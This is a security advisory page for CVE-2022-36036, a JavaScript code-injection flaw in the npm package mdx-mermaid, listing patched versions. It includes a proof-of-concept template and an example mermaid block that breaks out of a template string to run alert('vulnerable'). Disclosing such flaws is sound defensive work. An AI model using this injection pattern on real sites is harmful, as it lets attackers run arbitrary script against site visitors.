Advisory

GHSA-rvgm-35jw-q628

Also known as: CVE-2022-36036

Summary

Improper Control of Generation of Code ('Code Injection') in mdx-mermaid

Details

Impact

Arbitary javascript injection

Modify any mermaid code blocks with the following code and the code inside will execute when the component is loaded by MDXjs

` + (function () {
  // Put Javascript code here
  return ''
}()) + `

The block below shows a valid mermaid code block

```mermaid
graph TD;
    A-->B;
    A-->C;
    B-->D;
    C-->D;
```

The same block but with the exploit added

```mermaid
` + (function () {
  alert('vulnerable')
  return ''
}()) + `
graph TD;
    A-->B;
    A-->C;
    B-->D;
    C-->D;
```

Patches
1.3.0 and 2.0.0-rc2

Workarounds
None known

Severity

Low Basis: The source's own band: LOW

Dates

Published
2022-08-31 22:26 UTC
Modified
2023-11-08 04:09 UTC

Affected packages and fixes

mdx-mermaid

npm · All systems

Affected

  • introduced 0, fixed 1.3.0 (semver)

Fixed versions

1.3.0

Fix

mdx-mermaid

npm · All systems

Affected

  • introduced 2.0.0-rc1, fixed 2.0.0-rc2 (semver)

Fixed versions

2.0.0-rc2

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences